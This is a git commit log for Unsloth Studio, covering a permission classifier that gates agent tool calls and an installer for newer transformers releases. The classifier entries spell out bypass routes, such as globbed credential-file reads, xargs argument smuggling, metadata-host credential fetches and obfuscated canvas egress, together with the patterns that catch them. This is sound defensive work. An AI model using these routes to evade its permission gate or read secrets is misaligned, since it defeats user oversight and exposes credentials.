  bare-name map/filter form; the writer-check on the first arg keeps a benign
  itertools.starmap(len, ...) or itertools.chain(...) safe.

Regression rows added to test_permission_mode.py.

* Close more auto-mode gaps and align the ask confirm fold across paths

Each classifier change reproduces with a benign control:

- MCP read-named tools now ask on reply / notify verbs (get_and_reply_email,
  list_and_notify_users), on catalog writes COMMENT ON / SECURITY LABEL / LOCK
  TABLE and CREATE|DROP|ALTER POLICY, and on state-changing PostgreSQL functions
  inside a read-shaped SELECT (nextval, set_config, pg_notify, the advisory-lock
  family). A 'comment' column, a 'locks' table, and a 'nextval' column prefix
  stay safe; the natural-language NOTIFY/SET ROLE statement forms are left out
  because SET/NOTIFY overlap ordinary prose.
- Python auto mode now gates loader.exec_module (runs a module's code), archive
  extractall (zip-slip file writes), the ensurepip / venv modules (install pip /
  build an environment), and pydoc.writedoc. The Hugging Face login token
  (~/.cache/huggingface/token and stored_tokens) is now a sensitive path, while
  the rest of that cache (model data) stays readable.
- ChatCompletionRequest no longer overwrites an explicit confirm_tool_calls=false
  when permission_mode='ask': the fold only self-enables the gate when the flag
  is unset, so an explicit opt-out wins on the chat path exactly as it already
  does via _permission_mode_confirm and the Anthropic pre-switch guard.

Regression rows added to test_permission_mode.py.

* Gate sort -T, xxd outfile positional, and the legacy HF token path

- sort -T / --temporary-directory writes spill files to a caller-chosen dir,
  so it joins -o / --output in sort's unsafe-flag set.
- xxd [infile [outfile]] writes its second positional, like uniq; xxd now uses
  the same second-positional-write handling (xxd in.bin out.hex asks, xxd
  in.bin and xxd -c 16 in.bin stay read-only).
- The sensitive-path regex now also covers the legacy ~/.huggingface/token
  location (optional leading dot), not just ~/.cache/huggingface/token; an
  unrelated dir like myhuggingface/token stays safe.

Regression rows added to test_permission_mode.py.

* Catch multi-char SQL mutation targets, globbed credential names, digit outfiles

Three fail-open gaps in the auto-mode classifier, each with a benign control:

- SQL: the trailing word boundary on the MCP mutation regex meant a bare \w
  stopped at the first character, so TRUNCATE users, GRANT SELECT ON t, and
  REVOKE ALL ON t (multi-character names) slipped through while single-letter
  targets matched. Match the whole identifier instead, and accept an explicit
  AS alias on UPDATE (UPDATE users AS u SET). The implicit-alias form is left
  out because it is indistinguishable from the prose "update <noun> <noun> set".
  A truncate_log column and a grants table stay safe.
- A glob that resolves to a credential basename anywhere (cat ~/.huggingface/tok?n
  -> token, cat proj/.netr? -> .netrc, cat repo/.aws/cred*) now asks; the fixed
  target list only covered a handful of home paths. notes/dra?t.txt and
  token_counts.tx? stay safe.
- uniq / xxd counted file positionals but skipped every numeric token to ignore
  a flag value, so a file literally named with digits (uniq 123 out) hid the
  output positional. Track each command's value-taking flags and consume only
  the value, so uniq -f 2 in stays safe while uniq 123 out asks.

Regression rows added to test_permission_mode.py.

* Isolate the permission-mode loop tests from process-global state

The loop-driving tests (auto/off/full/bypass) drove run_safetensors_tool_loop
against a process-global approval registry (state.tool_approvals._pending)
keyed by a single shared session id, and read os.environ. Other backend test
modules mutate both, some at import time, so in the full-suite ordering a stale
pending approval or a leaked env var could make the loop deny or skip a call
these tests expect to run. It passed when the file ran alone but failed only in
the complete tests/ run on CI.

Add an autouse fixture that snapshots and restores os.environ and the approval
registry around each test, and give every _drive call a unique session id so a
leaked approval can never collide. Attach a compact event-stream dump to the
loop assertions so any residual full-suite-only failure reports what the loop
actually did instead of a bare diff.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: harden auto-mode classifier for recursive listers, sort file lists, aliased invokers, single-member extract

Close four fail-open gaps in is_potentially_unsafe_tool_call:
- terminal: tree/du (always recursive) and ls -R rooted at an absolute or
  tilde path now ask, matching the existing grep/rg/find recursive-read gate;
  relative walks stay safe.
- terminal: sort --files0-from=F reads the file list named in F, so it can
  read arbitrary host files indirectly; added to sort's unsafe flags.
- python: track aliases of the higher-order invokers (m = map;
  from itertools import starmap as sm) so an aliased invoker handed open/a
  writer is still gated; a benign callable (map(len, ...)) stays safe.
- python: single-member archive extract (ZipFile/TarFile.extract) writes to
  disk like extractall and is vulnerable to a crafted member path, so gate it.

Also update the stale _FakeExecuteTool in test_permission_mode.py to accept
the thread_id keyword that run_safetensors_tool_loop now forwards to
execute_tool after the main merge, which had broken the five tool-loop tests.

Adds regression rows covering each gap plus benign controls.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: normalize unknown permission_mode to 'ask' instead of a 422

The request models validated permission_mode with Literal[ask, auto, off,
full], so an unrecognized value from a newer UI/client was rejected with a 422
before the tool loops could apply their unknown -> ask fallback
(safetensors_agentic.py:464, llama_cpp.py:9001). That made the intended
forward-compat degradation unreachable at the API boundary for both Chat
Completions and the analogous Anthropic field.

Accept a plain string on both ChatCompletionRequest and AnthropicMessagesRequest
and normalize in a before-validator: None stays unset, the four known modes pass
through, and any other value degrades to the safest gate ('ask'), matching the
loops. Adds a regression test covering unknown/None/known across both models.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: close five more auto-mode classifier gaps

- terminal: xargs is no longer a safe wrapper. It appends arguments read from
  stdin that the scan never sees, so `echo -o out /etc/passwd | xargs sort`
  forwards to `sort -o out /etc/passwd` (a write + sensitive read) while only
  the allow-listed literals are visible. Any xargs command now asks.
- terminal: ionice -p/-P/-u change the I/O priority of an already running
  process / group / user instead of forwarding to a wrapped read-only command,
  so `ionice -c 3 -p <pid>` now asks. ionice -c 3 <cmd> stays safe.
- MCP: gate ALTER SYSTEM, which persists PostgreSQL server configuration and was
  not one of the DDL objects the mutation detector matched.
- MCP: a credential noun in a read-named tool (read_secret, list_tokens,
  get_credentials, fetch_api_key) is a sensitive disclosure, so it asks even
  without a mutating verb or a path/SQL argument. Scoped *_key nouns keep a
  primary_key / keyboard lookup safe.
- render_html: no longer unconditionally safe. A static canvas still auto-runs,
  but one whose HTML/JS reaches the network (fetch/WebSocket/remote script) asks,
  since it can egress under the canvas CSP when artifact network access is on.
  Its early provisional card is suppressed under the auto confirm gate, and the
  confirm-without-stream guard now requires a stream when render_html is
  selectable.

Adds regression rows and benign controls for each, and updates the render_html
provisional-card and confirm-gate tests to the new behavior.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: extend auto-mode gates for indirect file lists, dynamic lookups, HTML network loads, and Anthropic render_html

Follow-ups on the previous classifier round:

- terminal: wc/du/find --files0-from (and find's -files0-from primary) read a
  NUL-separated list of input paths from a file, the same indirect mechanism as
  sort --files0-from, so a crafted list reads arbitrary host files past the
  literal path/root checks. Gate them like sort.
- python: a namespace lookup through a dict-style call (f =
  __builtins__.__dict__.get('open'), globals().get('open'), vars(x).get(...))
  can return open/eval/a mutator, so poison the bound name like getattr/subscript
  lookups already are. An ordinary dict .get or os.environ.get stays safe.
- render_html: broaden the network detector so a canvas that loads a resource
  via CSS url()/@import, srcset, or a root-relative (/path) or protocol-relative
  (//host) src/href is treated as networked, not just fetch/WebSocket/remote
  script. Relative ./x and url(#id)/data: refs stay static/safe.
- Anthropic /v1/messages: drop render_html from the unprompted-safe server-tool
  set. Since it can prompt (networked canvas) and this channel invokes the loop
  without confirm, selecting it under ask/auto/omitted now rejects like
  terminal/python; off/full (or an explicit confirm opt-out) run it.

Adds regression rows and benign controls for each, plus an Anthropic route test.

* Studio: close six more auto-mode classifier gaps

- terminal: a glob that expands to a project .env (cat .e?v) now asks; .env
  joins the sensitive glob-basename set, matching the literal-path gate.
- python: an open bound onto an attribute (box.f = open; box.f('out','w'))
  is tracked by attribute name, and open invoked via .__call__
  (open.__call__('out','w'), unwrapped to the underlying callable) is gated,
  so neither slips past the name-based open-alias checks. Benign attribute
  callables and .__call__ on non-writers stay safe.
- python: a namespace lookup via .get/.pop/.setdefault already covered the
  builtins case; unchanged here.
- MCP: a mutating HTTP verb in a method/verb argument (get_url
  {"method": "DELETE"|"POST"|"PUT"|"PATCH"}) now asks, so a generic HTTP
  tool cannot mutate an external service unprompted; GET/HEAD stay safe.
- MCP: a credential/secret environment-variable value (get_env
  {"name": "OPENAI_API_KEY"}) is treated as a sensitive read via the same
  credential-noun match used for tool names; PATH/HOME stay safe.
- render_html: self-navigation sinks (location.assign/replace, window.open,
  assigning a URL to (window.)location(.href)) join the network detector, so a
  canvas that navigates itself to an external URL asks; location.reload() /
  history.back() stay static.

Adds regression rows and benign controls for each.

* Studio: gate obfuscated canvas egress, sensitive-dir iteration, and MCP metadata-host reads

- render_html: strip block comments before the network scan so fetch/*x*/(...)
  cannot hide egress, and match bracket-access forms (window['fetch'](...),
  self['open'](...)). Line // comments are left alone so the // in an https URL
  is not eaten. A comment-only canvas stays static.
- python: enumerating a directory outside the sandbox (Path('/etc').iterdir(),
  os.scandir('/etc'), os.listdir('/home'), os.walk('/')) reads host filenames
  the direct /etc/passwd checks would prompt for, so gate it when the target dir
  folds to an absolute/tilde/sensitive path; a relative dir stays safe and an
  unresolved dynamic dir is left to other checks.
- MCP: a read-named HTTP tool pointed at a cloud-metadata / link-local host
  (fetch_url {"url": "http://169.254.169.254/..."}, metadata.google.internal)
  reads instance credentials, so classify those URL arguments as sensitive,
  mirroring the sandbox SSRF blocklist; ordinary and localhost URLs stay safe.

Adds regression rows and benign controls for each.

* Studio: gate meta-refresh navigation, pandas HTML/markdown exporters, absolute glob roots, and checksum verify mode

* Studio: gate starred open writes, builtins.__import__, computed render_html sinks, and procfs fd reads in auto mode

* Studio: gate remote worker canvases, huggingface_hub downloads, and write callables passed to user helpers in auto mode

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-15 06:07:21 -07:00
Wasim Yousef Said
1bf3509fea
Fix agent workspace isolation and Hermes one-shot resume (#7103)
* Fix coding agent workspace and resume handling

* Handle attached Hermes flags and OpenClaw paths

* Add Codex model metadata catalog

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix Codex reasoning summary metadata

* Preserve Hermes hook approval on resumed one-shots

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-15 15:06:03 +02:00
Daniel Han
815f242970
Studio: offer the latest transformers release for brand-new architectures (#7056)
* Studio: offer the latest transformers release for brand-new architectures

When a model's config.json model_type is absent from every installed
transformers overlay (base 4.57.x and the .venv_t5_530/550/510 sidecars),
Studio now checks, unauthenticated and cached, whether the newest
transformers ships it:

- utils/transformers_latest.py fetches the latest release version from
  https://pypi.org/pypi/transformers/json and the CONFIG_MAPPING_NAMES
  sources for that tag and for main from raw.githubusercontent.com
  (never api.github.com), parsing them with the same AST extractor the
  static router uses (no code execution, no trust_remote_code). Results
  are cached in memory and in a JSON snapshot under studio_root()/cache
  with a one day ttl; fetches are bounded to 5s with one retry and a
  failure backoff, and offline mode or the new kill switch
  UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS=1 short-circuits to None.

- POST /api/inference/validate gains requires_transformers_upgrade plus
  a transformers_upgrade payload (model_type, pypi_version,
  supported_in_pypi, supported_in_main) so the frontend can raise the
  install consent dialog before /load, mirroring the existing
  remote-code consent flow. The check fires only when the model_type is
  unknown to all installed overlays and the hardcoded tier tables.

- POST /api/inference/install-latest-transformers provisions a new
  persistent .venv_t5_latest sidecar after user consent, pinned to the
  exact PyPI version (re-verified server-side) with the same
  --target/--no-deps recipe as the fixed sidecars. A JSON pin marker
  inside the dir records the installed package set, so restarts
  revalidate it and routing resolves the new highest-ranked tier
  automatically. A dependency preflight (compat_plan) compares the
  release's requires_dist against the running env: unsatisfied
  tokenizers/safetensors floors are shadow-installed as exact pins into
  the sidecar, anything else unsatisfied blocks the install with a
  clear message.

Routing for every already-supported model_type is unchanged: the
hardcoded lists and the 530/550/510 static resolver run first, the new
tier only participates once its venv exists, and the probe order gains
the latest sidecar only when provisioned. Verified against live PyPI
and GitHub (transformers 5.13.0: 674 model_types, 26 absent from all
installed overlays, e.g. cosmos3_omni; 4 dev-only on main) and with a
real sidecar install plus restart persistence. 64 new tests; the
existing 200-test transformers_version suite passes unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Latest-transformers check: fetch outside the lock, serialize installs

Release the module lock during the network refresh so a slow fetch cannot
stall other threads in the ASGI pool; concurrent callers during a fetch get
None (the graceful fallthrough) via an in-flight flag instead of stacking
fetches. Serialize install_latest_transformers with an in-progress flag so
concurrent consents cannot race the sidecar delete and recreate; the loser
gets a structured already-in-progress refusal.

* Latest-transformers check: LoRA bases, pin-gated mapping, live reverify

Run the upgrade check over the [adapter, base] target set so a LoRA whose
base model is a brand-new architecture surfaces the prompt (the worker
activates transformers for the base, not the adapter).

Gate the latest overlay's mapping lookup on a valid pin marker, matching
activation and the probe order, so a partial or manual .venv_t5_latest dir
cannot be routed to and then refused at activation.

Re-verify the requested version against a live PyPI snapshot at install
time, falling back to the cached one on fetch failure, so a release
published inside the cache TTL is not silently missed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Latest-transformers check: nested config types and latest-tier vision probe

Collect every model_type in the config (top level plus each nested
sub-config) and signal on the first one missing from all installed
overlays, so a supported wrapper carrying a brand-new backbone still
surfaces the upgrade prompt; wrappers instantiate sub-configs through
CONFIG_MAPPING and would fail on the nested type.

Route the vision capability subprocess through the pinned latest sidecar
when the model resolves to the latest tier, so latest-only VLMs are not
misclassified as text-only; every other tier keeps the 5.5 sidecar used
today.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Latest tier: nested routing, vision probe after raw miss, safe upgrades

Route by every model_type in the config: a nested sub-config type can raise
the tier (wrappers instantiate sub-configs through CONFIG_MAPPING), so a
supported wrapper with a latest-only backbone routes to latest once
installed instead of staying on default. An unknown nested type never
vetoes; the primary type keeps its previous semantics. The collector is
shared with the upgrade checker.

Vision detection: when the raw heuristics say False for a model that routes
to the latest tier, run the AutoConfig subprocess under the pinned latest
sidecar instead of trusting heuristics built from older transformers.

Provisioning: stage-and-swap. Build the new sidecar in .venv_t5_latest.staging
and swap it in only when the install and pin marker are complete, so a failed
upgrade never destroys a previously working sidecar; restore the old dir if
the final swap fails.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Latest-transformers checker, vision subprocess, and cache fixes

Require the latest release to support every missing model_type (the
primary included) before prompting; a nested-only match cannot make the
model loadable, so no install is offered for it.

The vision-check subprocess now unions the active sidecar's own
registry mappings into the inlined parent-process detection sets, so
architectures only the sidecar knows classify correctly.

A successful sidecar install clears the tier probe cache, the latest
tier's model_type mapping, and the vision-detection cache so the new
venv takes effect without a restart. Tests for all three.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Aggregate upgrade support flags and keep install off /v1

The upgrade signal now reports supported_in_pypi only when the latest
release covers every missing model_type; a mix with a main-only nested
type surfaces as dev-only so no PyPI install is offered that would
still fail at load. The consented install endpoint moves to
studio_router so it is not reachable through the OpenAI-compatible /v1
mount. Tests for both.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Honor the latest-transformers kill switch in routing

With UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS set after the sidecar was
provisioned, the latest tier still joined mapping and probe routing
because only the pin was checked. Both admission points now also check
the kill switch, so operators can roll back a problematic sidecar
without deleting files.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Repair the latest sidecar through stage-and-swap

The lazy repair path installed into the live .venv_t5_latest, which
_ensure_venv_dir wipes first, so a failed repair deleted the pinned
sidecar and its marker. Both the consented install and the repair now
share one stage-and-swap helper: the incomplete-but-pinned dir survives
any failure and a later attempt can still repair it.

* Tighten comments

* Remove the staging dir when a latest-sidecar install fails

A pip failure inside _ensure_venv_dir returns False without raising, so
the except cleanup never ran and the partial .venv_t5_latest.staging
leaked until a later attempt. Also note on the validate response fields
that frontend consumption ships in the follow-up PR.

* Add the transformers-upgrade consent dialog to the frontend

When /validate reports requires_transformers_upgrade, every explicit load
path (chat runtime and the compare composer) now pauses on a consent
dialog modeled on the remote-code one: it names the model_type and the
latest PyPI transformers version, and on Accept calls
/api/inference/install-latest-transformers itself, shows an installing
state, and resumes the original load automatically on success. Errors
surface in the dialog with a retry; Cancel aborts the load like the
trust dialog's deny path. Architectures shipped only on transformers
main get a dev-only notice with no install button. Background auto-load
skips upgrade-requiring candidates instead of prompting, mirroring the
trust_remote_code rule. The dialog mounts once in the root layout and
runs before the security dialogs, since no load can proceed without the
runtime.

* Route a non-installable new architecture to the custom-code consent as a last resort

When the upgrade dialog has no installable PyPI release (the architecture
is only on transformers main, which Studio never installs), the dialog now
says so explicitly, and when the model also declares custom (auto_map)
code it offers Continue with custom code: resolving the paused load into
the existing trust_remote_code consent gate instead of hard-aborting.
Models with no custom code keep the Cancel-only notice. The backend
returns no upgrade signal at all for architectures unknown to both PyPI
and main, so those still route straight to the unchanged security gate.

* Force a 16-bit load for models on the latest-transformers sidecar

Live validation with Zyphra/ZAYA1-8B (model_type zaya, shipped by
transformers 5.13.1 but unknown to every installed tier) surfaced a
generation crash when the consented sidecar load kept the default bnb
4-bit quantization: transformers' grouped-MoE kernels feed the packed
uint8 expert weights straight into torch._grouped_mm, and generation
dies (plain 16-bit works). New latest_tier_active_for() mirrors the
sidecar activation's tier resolution and never raises; the inference
worker flips load_in_4bit off when it reports true, and the load route
applies the same flip so the pre-load VRAM guard and the worker command
agree. Fixed tiers are untouched. With the guard, ZAYA1-8B loads and
generates correctly in Studio chat.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Offer the custom-code fallback when a latest-sidecar install fails

* Fail remote mapping fetches wholesale and mirror the 16-bit flip in validate

A transient fetch or parse failure of one auto-mapping file no longer caches
a partial latest-release map for the TTL (a real 404 on pre-5.10 tags is
still tolerated), and validate_model now applies the same latest-sidecar
16-bit sizing flip as /load before the training guard so the two agree.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments in the latest-transformers changes

* Resolve remote LoRA bases, fold nested tiers, and guard the sidecar swap

latest_tier_active_for now resolves a remote adapter's base model the same
way worker pre-activation does (and returns early without a sidecar pin), a
hardcoded fast-path tier is raised when a nested sub-config's model_type
needs a higher sidecar, and the install route refuses to swap .venv_t5_latest
while training runs on it and unloads a latest-tier chat model first.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gate the sidecar install on worker liveness and size installable upgrades 16-bit

The install route now refuses while any training or export runs (tier
re-resolution without the load token is unreliable for gated repos), holds
the inference lifecycle gate across the unload and the swap so no load can
interleave, and passes the model name to unload_model. validate_model runs
the upgrade check before the training guard and sizes an installable
upgrade as 16-bit, matching what /load and the worker will force after the
consented install.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close the sidecar install races and honor the kill switch over cached mappings

Training starts and mutating export routes now refuse while a transformers
install is in progress (shared is_install_in_progress flag), the chat unload
and idle export-worker teardown moved into a before_swap hook that runs only
once the staged install succeeded, and _config_model_types checks the kill
switch before returning a cached latest mapping.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Reserve the sidecar swap before the gate wait and abort it on failed teardown

The install-in-progress flag moved into a shared sidecar swap reservation in
transformers_version, taken by the install route before awaiting the
inference lifecycle gate (so training and export starts see it for the whole
window) and by the lazy .venv_t5_latest repair path. The before_swap hook
now raises when the chat unload or export teardown reports failure, leaving
the previous sidecar untouched.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Back the sidecar swap reservation with a cross-process lock file

The lazy repair runs inside worker subprocesses, where a module-level flag
is invisible to the parent's route checks. The reservation now also creates
a lock file next to .venv_t5_latest (O_EXCL, owner-only removal, stale after
two hours for crashed owners), so is_install_in_progress sees a repair from
any Studio process.

* Hand the swap reservation to the installer thread and harden pre-swap teardown

A cancelled install request no longer releases the reservation while the
installer thread is still staging (the thread owns and releases it, shielded
from cancellation). The route refuses while another inference request is
generating, export teardown runs before the chat unload and is judged by
worker liveness rather than the cleanup return value, and a live inference
worker with no active model (failed load residue) is shut down before the
swap.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep the lifecycle gate with the installer and recheck the swap at spawn time

The gate moved into the shielded install task so a cancelled POST cannot
release the guard /load honors while the installer still runs, cached latest
probe results are ignored while the kill switch is set, and the training and
export subprocess spawns recheck the sidecar swap reservation right before
spawning (the route-level guards are one-shot and validation can outlast an
install's start).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close the spawn-registration windows against the sidecar install

Training marks the spawn in progress before its reservation recheck and
is_training_active honors the flag, so the install route sees a start that
has passed proc.start() but not yet recorded _proc. Export load-checkpoint
rechecks the reservation after setting _export_active and before tearing
down the old worker, so losing the race keeps the loaded checkpoint instead
of surfacing a 500.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Refine the install-window interleavings around worker teardown

The inference busy count is rechecked under the lifecycle gate (streams
start by taking that gate, so nothing slips past a held gate), the training
handshake moved ahead of the VRAM-freeing before_spawn hook so a lost race
leaves chat/export intact, the export spawn-time check is op-aware (inside
an active op the install is the side that aborts), and the Xet-stall respawn
waits out a transient reservation instead of stranding the run.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Track the install's server-side unload and guard export ops against the swap

The upgrade dialog store records when its install actually ran (the server
unloads the active chat model before swapping), and the load flow then marks
the previous model as unloaded so a later cancelled gate still triggers
rollback; the custom-code fallback leaves the flag unset. _run_export gained
the same reservation handshake as load_checkpoint so an install cannot block
behind an hours-long export op instead of returning 409.

* Tighten comments in the install-guard and upgrade-consent changes

* Surface install-race refusals cleanly and roll back after a failed swap unload

/load refuses while the sidecar swap is reserved so a load cannot succeed
and immediately be unloaded by the pre-swap teardown, worker starts that
lose the install race raise a typed SidecarSwapInProgress mapped to 409
instead of a 500, the install response reports model_unloaded even on a
structured failure so the client can restore its state, and the compare
flow tracks the server-side unload like the primary load path and clears a
stale checkpoint on abort.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Type the export install races, scope the lock release, and keep the unload signal

Export load-checkpoint and export ops raise SidecarSwapInProgress (mapped to
409 in every export route) instead of a 400-shaped failure, the export spawn
check distinguishes repair reservations (always refused) from install ones
(op-aware), the swap lock release only unlinks a lock this process wrote so
a stale-superseded owner cannot drop the new owner's live lock, and the
frontend unload signal survives a superseding consent via read-and-clear
consumption instead of a reset.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Finalize a stalled run when the respawn loses the install race and latch the unload signal

The Xet-stall respawn timeout now finalizes the run as a failure instead of
raising into the pump's broad finalization catch (which stranded it in a
training state with no worker), and a successful install retry ORs the
model_unloaded signal with the latched value so a failed-after-unload first
attempt still triggers rollback.

* Recheck the swap under the load gate and latch the unload before resolver checks

/load rechecks the sidecar reservation after acquiring the lifecycle gate
(an install can reserve while the load queues on it), and the dialog store
latches model_unloaded as soon as the install response arrives, before any
resolver-identity guard, so a superseded consent's unload still reaches
whichever load consumes the signal next.

* Report cleared-state unload failures, guard queued installs, and fold name tiers

A failed chat unload that still cleared the orchestrator's model state now
reports model_unloaded so the client rolls back, the installer aborts with
a 409 when a model load completed while it waited on the lifecycle gate,
and the fixed-tier name fast path consults the config mapping when a latest
sidecar is pinned so an accepted upgrade routes to the sidecar it installed
(no I/O added to the unpinned path).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Report cleared-state unload failures and harden the spawn handshake flag

The failed-unload branch in before_swap now detects that the orchestrator
cleared its model state and reports model_unloaded before aborting (the
earlier commit claimed this fix but a scripting error dropped the edit),
the installer's queued-load check compares a load generation counter so a
same-model reload is caught, and both training spawn sites wrap everything
after the handshake in a guard that resets _spawn_in_progress on any
exception so a failed start cannot wedge is_training_active.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Bump the load generation when the load is published, not at load start

A start-time bump is already visible when the installer snapshots mid-load,
so a same-model reload completing after the snapshot looked unchanged and
could be unloaded by the swap. The counter now increments alongside the
active_model_name publish.

* Self-heal a broken pinned sidecar, guard lazy repairs, and refresh stale retries

A valid pin whose transformers source dir vanished now triggers the repair
from the routing path (with a five minute backoff after failures) instead of
silently routing latest-only models to older tiers, the lazy repair refuses
while parent-visible chat/training/export workers are active since it has no
teardown of its own, and a version-mismatch install failure carries the
superseding release so the dialog's Retry re-requests a version that can
succeed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Flip latest-tier loads to 16-bit outside chat and protect export state

Training and export workers now apply the same latest-sidecar 16-bit flip
as the chat worker so a brand-new grouped-MoE architecture cannot reach bnb
4-bit through those paths, the latest-tier vision override returns None on
an inconclusive probe so a transient failure is not cached as not-vision,
and the install route refuses while an idle export checkpoint is loaded
rather than discard it with no rollback signal on a failed swap.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address parallel-review findings on the sidecar guards and install checks

The training route sizes latest-tier jobs 16-bit before GPU selection, the
inference subprocess spawn rechecks the swap reservation like training and
export (covering the OpenAI auto-switch path) with the typed error mapped
to a retryable 409, compat_plan blocks the install when dependency metadata
cannot be fetched instead of proceeding unverified, snapshot model-type
lists must contain only strings, and pin-marker package specs are validated
against the sidecar's own package set before ever reaching pip.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Parent-only repairs, live-owner locks, remote-base activation, pre-teardown recheck

Lazy sidecar repairs now refuse inside worker children (whose empty backend
singletons cannot see live siblings) and run only in the parent where the
active-worker guard is real, swap-lock staleness requires the owner pid to
be dead so a slow live install is never superseded, both activation entry
points resolve a remote adapter's base model like the inference worker and
latest_tier_active_for already do, and load_model rechecks the reservation
before tearing down the old worker so losing the race keeps the current
model loaded.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Check workers under the repair reservation and keep state on refused swaps

The lazy repair now reserves first and checks workers under the reservation
(worker starts set their active markers before rechecking, so every
interleaving aborts one side), with export ops and in-flight inference loads
counted as active. The inference pre-teardown and spawn guards refuse only
repair reservations since an install shares the load's lifecycle gate and
aborts via its queued-load snapshot, a SidecarSwapInProgress raised before
teardown no longer clears the live model mirrors, and an export spawn abort
after teardown clears current_checkpoint so the page cannot claim a loaded
checkpoint with no worker.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Repair a present-but-incomplete latest sidecar from routing

The routing self-heal only fired when the pinned sidecar's transformers/
dir was missing. A sidecar that kept transformers/ but lost another pinned
package still routed models to the latest tier, and workers refuse
parent-only repairs, so every load failed until a manual reinstall. Routing
now validates the full pin (via _venv_dir_is_valid) and repairs any
incomplete sidecar under the same swap reservation and 5-minute backoff.

* Treat an unrepaired latest sidecar as unavailable in routing

When the pinned sidecar is incomplete and the lazy repair fails (offline,
pip failure, workers active) or is inside the backoff window, routing
returned the source dir anyway, sending models to a tier whose worker
activation is known to fail. Return None instead so models an older tier
supports keep loading there until a repair succeeds, matching the behavior
when the sidecar dir is missing entirely.

* Harden sidecar swap and repair against crash, survivor, and 16-bit paths

Reclaim a swap lock as soon as its recorded owner PID is dead instead of
waiting out the two-hour cutoff, so a crash mid-install no longer wedges
/load, training, export, and repair for hours. A lock whose PID cannot be
read yet still uses the long cutoff so the create-before-write window is
never mistaken for dead.

Probe process liveness with OpenProcess on Windows: os.kill(pid, 0) there
is CTRL_C_EVENT (a real Ctrl+C via GenerateConsoleCtrlEvent), not a
harmless check, and psutil is not always present.

Return whether _shutdown_subprocess actually killed the worker and keep the
live handle when it survives terminate/kill (an uninterruptible CUDA
syscall can outlive SIGKILL). The pre-swap liveness guard now trusts that
result, so the destructive .venv_t5_latest rename cannot proceed while a
live worker still holds sidecar modules.

Recover a sidecar stranded at .old when a swap's activation rename and its
rollback both fail: reading the pin restores it when no swap holds the
reservation, so latest-tier models are not permanently broken.

Resolve the latest tier in the parent for export loads and for explicitly
16-bit training runs, not only 4-bit ones: tier resolution self-heals an
incomplete sidecar, and repairs are parent-only, so those paths could not
recover before. Sidecar integrity and quantization are independent.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Revert the parent-side latest-tier repair probe on training and export loads

The probe ran before the route freed VRAM, so a resident chat or export worker
made _workers_active_for_repair() refuse the parent-only repair; the route then
tore that worker down and spawned a child that also cannot repair, so an
incomplete sidecar still failed to load. Repairing correctly requires running the
repair between the worker teardown and the child spawn, decoupled from VRAM
sizing, which is a larger change tracked separately. Restore the prior behavior
so these paths match the reviewed form and do not partially attempt a repair that
cannot complete while workers are resident.

* Honor failed worker shutdowns on load and revalidate the cached latest mapping

The fresh-load paths spawned a new worker straight after _shutdown_subprocess
without checking its result, so a worker that outlived terminate/kill (a wedged
CUDA syscall) had its handle overwritten by the replacement while it still held
GPU memory, and is_worker_alive/the pre-swap guard could no longer see it. Both
the inference load and the export checkpoint load now abort when the old worker
did not exit, so the load can be retried once it does.

